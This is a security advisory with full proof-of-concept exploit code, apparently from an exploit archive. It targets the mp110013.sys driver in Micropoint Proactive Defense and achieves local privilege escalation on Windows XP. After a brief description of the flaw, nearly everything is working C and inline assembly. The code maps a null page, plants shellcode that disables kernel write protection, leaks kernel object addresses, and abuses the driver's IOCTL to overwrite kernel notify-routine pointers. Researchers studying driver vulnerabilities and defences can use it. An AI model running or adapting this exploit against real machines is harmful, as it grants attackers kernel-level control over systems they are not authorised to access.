Micropoint Proactive Defense 1.3.10123.0 Privilege Escalation

`Micropoint Proactive Denfense Mp110013.sys <= 1.3.10123.0 Local Privilege Escalation Exploit  
  
VULNERABLE PRODUCTS  
  
Micropoint Proactive Denfense <= 100323.1.2.10581.0285.r1  
mp110013.sys <= 1.3.10123.0  
  
DETAILS:  
mp110013.sys handles DeviceIoControl request which tells driver PspCreateProcessNotifyRoutine/PspCreateProcessNotifyRoutineCount offset ,Attacker can use this interface write kernel memory   
  
EXPOLIT CODE  
  
//write ntdll.dll base + 0x8 with "6543" in kernel mode  
  
#include "stdafx.h"  
#include "windows.h"  
#include "shlwapi.h"  
#pragma comment(lib , "shlwapi.lib")  
  
VOID __declspec(naked) ShellCode()  
{  
__asm  
{  
pushad  
mov eax , cr0   
push eax  
and eax, 0xFFFEFFFF  
mov cr0 , eax  
cli   
mov eax , 0xAAAA5555  
mov dword ptr[eax] , 0x33343536  
sti  
pop eax  
mov cr0 , eax  
popad  
ret 0x4  
}  
}  
VOID __declspec(naked) nopfunc()  
{  
__asm{mov edi ,edi  
nop };  
}  
enum { SystemModuleInformation = 11,  
SystemHandleInformation = 16 };  
typedef struct {  
ULONG Unknown1;  
ULONG Unknown2;  
PVOID Base;  
ULONG Size;  
ULONG Flags;  
USHORT Index;  
USHORT NameLength;  
USHORT LoadCount;  
USHORT PathLength;  
CHAR ImageName[256];  
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;  
  
typedef struct {  
ULONG Count;  
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;  
PVOID GetInfoTable(ULONG ATableType)  
{  
ULONG mSize = 0x4000;  
PVOID mPtr = NULL;  
LONG status;  
HMODULE hlib = GetModuleHandle("ntdll.dll");  
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");  
do  
{  
mPtr = malloc(mSize);  
if (mPtr)  
{  
__asm  
{  
push 0  
push mSize  
push mPtr  
push ATableType  
call pZwQuerySystemInformation  
mov status , eax  
}  
  
}  
else  
{  
return NULL;  
}  
if (status == 0xc0000004)  
{  
free(mPtr);  
mSize = mSize * 2;  
}  
} while (status == 0xc0000004);  
  
if (status == 0)  
{  
return mPtr;  
}  
  
free(mPtr);  
return NULL;  
}  
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {  
USHORT UniqueProcessId;  
USHORT CreatorBackTraceIndex;  
UCHAR ObjectTypeIndex;  
UCHAR HandleAttributes;  
USHORT HandleValue;  
PVOID Object;  
ULONG GrantedAccess;  
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;  
  
typedef struct _SYSTEM_HANDLE_INFORMATION {  
ULONG NumberOfHandles;  
SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];  
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;  
  
DWORD WINAPI LegoThread(LPVOID lpThreadParameter)  
{  
while(TRUE)  
{  
Sleep(0x1000);  
  
}  
return 0 ;   
}  
int main(int argc, char* argv[])  
{  
DWORD dwVersion = 0;  
DWORD dwMajorVersion = 0;  
DWORD dwMinorVersion = 0;   
  
  
dwVersion = GetVersion();  
  
// Get the Windows version.  
  
dwMajorVersion = (DWORD)(LOBYTE(LOWORD(dwVersion)));  
dwMinorVersion = (DWORD)(HIBYTE(LOWORD(dwVersion)));  
  
if (dwMajorVersion != 5 || dwMinorVersion != 1)  
{  
printf("POC for XP only\n");  
getchar();  
return 0 ;   
}  
  
printf("Micropoint Mp110003.sys <= 1.3.10123.0 Local Privilege Escalation Vulnerability POC\n"  
"by MJ0011 th_decoder$126.com\n"  
"Press Enter\n");  
  
getchar();  
  
HANDLE hDev = CreateFile("\\\\.\\mp110013" ,   
0 ,  
FILE_SHARE_READ | FILE_SHARE_WRITE ,   
0,  
OPEN_EXISTING,0,  
0  
);  
  
if (hDev == INVALID_HANDLE_VALUE)  
{  
printf("cannot open device %u\n" , GetLastError());  
return 0 ;   
}  
  
  
PVOID BaseAddress = (PVOID) 1;  
ULONG RegionSize = (ULONG) 0;  
PVOID pNtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");  
PVOID pNtFreeVirtualMemory = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtFreeVirtualMemory");  
  
ULONG status ;   
  
__asm  
{  
push 0x8000  
lea eax , RegionSize  
push eax  
lea eax , BaseAddress  
push eax  
push 0xffffffff  
call pNtFreeVirtualMemory  
mov RegionSize,0x1000  
push 0x40  
push 0x3000  
lea eax , RegionSize  
push eax  
push 0   
lea eax , BaseAddress  
push eax  
push 0xffffffff  
call pNtAllocateVirtualMemory  
mov status , eax  
}  
  
if (status != 0 )  
{  
printf("allocate 0 memory failed %08x\n" , status);  
return 0 ;   
}  
//set nop code  
ULONG codesize = (ULONG)nopfunc - (ULONG)ShellCode;  
  
memset((PVOID)0 , 0x90 , 0x8);  
memcpy((PVOID)0x8 , ShellCode , codesize);  
ULONG i ;   
for (i = 0x8 ; i < codesize+0x8 ; i++)  
{  
if (*(DWORD*)i == 0xAAAA5555)  
{  
*(DWORD*)i = (DWORD)(GetModuleHandle("ntdll.dll") + 0x2);  
break ;   
}  
}  
  
PSYSTEM_MODULE_INFORMATION pModInfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);  
  
if (pModInfo == 0 )  
{  
printf("get info table failed!\n");  
return 0 ;   
}  
  
ULONG Tid ;  
  
HANDLE hThread = CreateThread(0 , 0 , LegoThread , 0 , 0 , &Tid);  
if (hThread == 0 )  
{  
printf("cannot open thread %u\n",GetLastError());  
return 0 ;   
}  
//SystemHandleInformation=16  
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)GetInfoTable(16);  
if (pHandleInfo == 0 )  
{  
printf("cannot get handle info\n");  
return 0 ;   
}   
ULONG ThreadObject =0;  
  
for (i = 0 ; i < pHandleInfo->NumberOfHandles ; i ++)  
{  
if (pHandleInfo->Information[i].UniqueProcessId == GetCurrentProcessId() &&  
pHandleInfo->Information[i].HandleValue == (USHORT)hThread)  
{  
ThreadObject = (ULONG)pHandleInfo->Information[i].Object;  
break ;   
}  
}  
if (ThreadObject == 0 )  
{  
printf("cannot get thread object!\n");  
return 0 ;   
}  
ThreadObject+=0xd0;  
  
  
  
HMODULE hkernel = LoadLibraryA(strrchr(pModInfo->Module[0].ImageName, '\\') + 1);  
if (hkernel == 0 )  
{  
printf("kernel mapping error %u\n" , GetLastError());  
return 0 ;   
}  
  
ULONG PsSetLegoNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetLegoNotifyRoutine");  
ULONG PspLegoNotifyRoutine = 0 ;  
  
if (PsSetLegoNotifyRoutine ==0)  
{  
printf("PsSetLegoNotifyRoutine==0");  
return 0 ;   
}  
  
for (i = PsSetLegoNotifyRoutine ; i < PsSetLegoNotifyRoutine + 0x10 ; i ++)  
{  
if (*(BYTE*)i == 0xa3 && *(BYTE*)(i + 5 == 0xb8 ) && *(DWORD*)(i + 6 )==0xd0)  
{  
PspLegoNotifyRoutine = *(ULONG*)(i +1);   
break ;   
}  
}  
  
if (PspLegoNotifyRoutine == 0 )  
{  
printf("bad PsSetLegoNotifyRoutine\n");  
return 0 ;  
}  
ULONG PsSetCreateProcessNotifyRoutine = (ULONG)GetProcAddress(hkernel , "PsSetCreateProcessNotifyRoutine");  
ULONG PspCreateProcessNotifyRoutine= 0 ;  
  
if (PsSetCreateProcessNotifyRoutine==0)  
{  
printf("PsSetCreateProcessNotifyRoutine==0!\n");  
return 0 ;   
}  
  
for (i = PsSetCreateProcessNotifyRoutine ; i < PsSetCreateProcessNotifyRoutine + 0x30 ; i ++)  
{  
if (*(BYTE*)i == 0xbf && *(WORD*)(i + 5) == 0xe857)  
{  
PspCreateProcessNotifyRoutine = *(ULONG*)(i + 1);  
break ;   
}  
}  
  
if (PspCreateProcessNotifyRoutine ==0)  
{  
printf("bad PsSetCreateProcessNotifyRoutine!\n");  
return 0 ;   
}  
  
PIMAGE_DOS_HEADER doshdr ;   
PIMAGE_NT_HEADERS nthdr ;   
doshdr = (PIMAGE_DOS_HEADER )(hkernel);  
nthdr = (PIMAGE_NT_HEADERS)((ULONG)hkernel + doshdr->e_lfanew);  
  
PspLegoNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;  
PspCreateProcessNotifyRoutine += (ULONG)pModInfo->Module[0].Base - nthdr->OptionalHeader.ImageBase;  
FreeLibrary(hkernel);  
ULONG PspLegoNotifyRoutineOff = (ULONG)PspLegoNotifyRoutine - (ULONG)pModInfo->Module[0].Base ;   
ULONG PspCreateProcessNotifyRoutineOff = (ULONG)PspCreateProcessNotifyRoutine - (ULONG)pModInfo->Module[0].Base;  
ULONG btr ;   
ULONG InputBuffer[3] = {0x0 , PspCreateProcessNotifyRoutineOff , PspLegoNotifyRoutineOff };  
  
if (!DeviceIoControl(hDev ,   
0x800001A4,   
&InputBuffer ,   
sizeof(ULONG)*3 ,   
NULL,   
0,  
&btr ,   
0))  
{  
printf("device io control failed %u\n", GetLastError());  
return 0 ;   
}  
  
PVOID pNtCreateProcessEx = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateProcessEx");  
HANDLE hProc ;  
  
__asm  
{  
push 0   
push 0  
push 0  
push 0   
push 0   
push 0x1   
push 0   
push 0   
lea eax ,hProc  
push eax  
call pNtCreateProcessEx  
}  
ULONG ThreadLegoDataOff = ThreadObject - (ULONG)pModInfo->Module[0].Base ;  
  
InputBuffer[2] = ThreadLegoDataOff;  
if (!DeviceIoControl(hDev ,   
0x800001A4,   
&InputBuffer ,   
sizeof(ULONG)*3 ,   
NULL,   
0,  
&btr ,   
0))  
{  
printf("device io control failed %u\n", GetLastError());  
return 0 ;   
}  
  
  
__asm  
{  
push 0   
push 0  
push 0  
push 0   
push 0   
push 0x1   
push 0   
push 0   
lea eax ,hProc  
push eax  
call pNtCreateProcessEx  
}  
  
  
TerminateThread(hThread , 0 );  
  
printf("POC Executed\n");  
getchar();  
return 0;  
}  
  
  
  
`